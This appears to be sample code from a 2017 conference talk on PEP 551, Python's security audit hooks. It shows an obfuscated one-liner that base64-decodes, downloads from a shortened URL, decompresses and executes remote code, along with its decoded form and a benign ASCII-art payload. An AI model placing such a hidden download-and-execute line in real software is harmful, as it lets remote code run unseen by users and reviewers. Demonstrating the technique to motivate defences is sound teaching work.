Sample Python code used in my North Bay Python 2017 session on PEP 551

decoded_line.py

# This code is the base-64 encoded payload from the single line above, with newlines added for readability.

__import__('gzip').decompress(
  __import__('base64').b64decode(
    __import__('urllib.request').request.urlopen('http://bit.ly/2iALS0l').read()
  )
)

nbpy_pep551_example.txt

exec(eval(__import__('base64').b64decode(b'X19pbXBvcnRfXygnZ3ppcCcpLmRlY29tcHJlc3MoX19pbXBvcnRfXygnYmFzZTY0JykuYjY0ZGVjb2RlKF9faW1wb3J0X18oJ3VybGxpYi5yZXF1ZXN0JykucmVxdWVzdC51cmxvcGVuKCdodHRwOi8vYml0Lmx5LzJpQUxTMGwnKS5yZWFkKCkpKQ==')))

payload.py

# This is the payload from the bit.ly address above, both encoded and
# compressed and also the original source.
# (note that the address actually resolves to a different gist)

ENCODED_AND_COMPRESSED = (
  "H4sIAKxGE1oC/9WUwQqCQBCG74LvMNhBRZHOLsFKRgXlQhkhEQlhIMgW4vuT7lbqipZGh77TrM7nrPAzLtl7K+K4S29+"
  "8glZbWECB1mCHAX6opjfm6YhooYAKi9Rl4mxaGIMGIUMjDpN8V1hGogxwGzMtNCHpmoyXmY+nz8x35lPuGmjkl4mQkNN"
  "CFvMJqLJ7ttMgsop+h5lyMxR1cyz0Zo+Nqt+qJktua1ctH62fpL4fzGPsiRLtzSmmaY/C8Ut9wesA+ArxCcQkN0G1s50"
  "sfRminWOaBalWhJRzRUXzmF81HW98uXLNYUkphHEFBrdNv8D3lx05cIdYXfVEMQEAAA="
)

# Original source

DOWNLOADING_TOOLS = [
    "                                                 ",
    "                                                 ",
    " ,+++++++++++++++++'`  '++++++;                  ",
    " @@++++++++++++++++@@ @;``````@;                 ",
    " @@                @@ @+;;;;;;@;                 ",
    " @@                @@ @;``````@;        .;       ",
    " @@                @@ @',,,,,,@;       ;;;,,,,,,,",
    " @@                @@ @@@@@@@@@;     :;;;;;;;;;;;",
    " @@                @@ @@@@@@@@@;    ;;;;;;;;;;;;;",
    " @@                @@ @@@@@@@@@;     `;;;;;;;;;;;",
    " @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@;       :;;       ",
    " ,'''''''@@@@'''''''` @@@@#@@@@;         '       ",
    "         @@@@         @@@@  @@@;                 ",
    "      @@@@@@@@@@      @@@@@@@@@.                 ",
    "                                                 ",
    "                                                 ",
    "                                                 ",
    "                                                 ",
]

print()
print("DOWNLOADING MY TOOLS TO YOUR MACHINE".center(len(DOWNLOADING_TOOLS[0])))
print()
for line in DOWNLOADING_TOOLS:
    print(line)